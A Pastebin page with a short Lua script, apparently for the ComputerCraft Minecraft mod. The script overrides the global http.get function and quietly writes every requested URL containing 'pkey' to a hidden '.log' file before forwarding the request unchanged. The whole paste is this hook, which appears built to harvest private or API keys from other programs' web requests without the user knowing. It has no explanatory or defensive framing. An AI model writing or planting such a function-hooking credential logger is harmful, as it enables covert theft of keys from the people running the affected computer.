Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- local function log(text)
- local fi = fs.open(".log","a")
- fi.write("\n"..text)
- fi.close()
- end
- local oldget = http.get
- function http.get(url)
- if url:find("pkey") then
- log(url)
- return oldget(url)
- else
- return oldget(url)
- end
- end
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement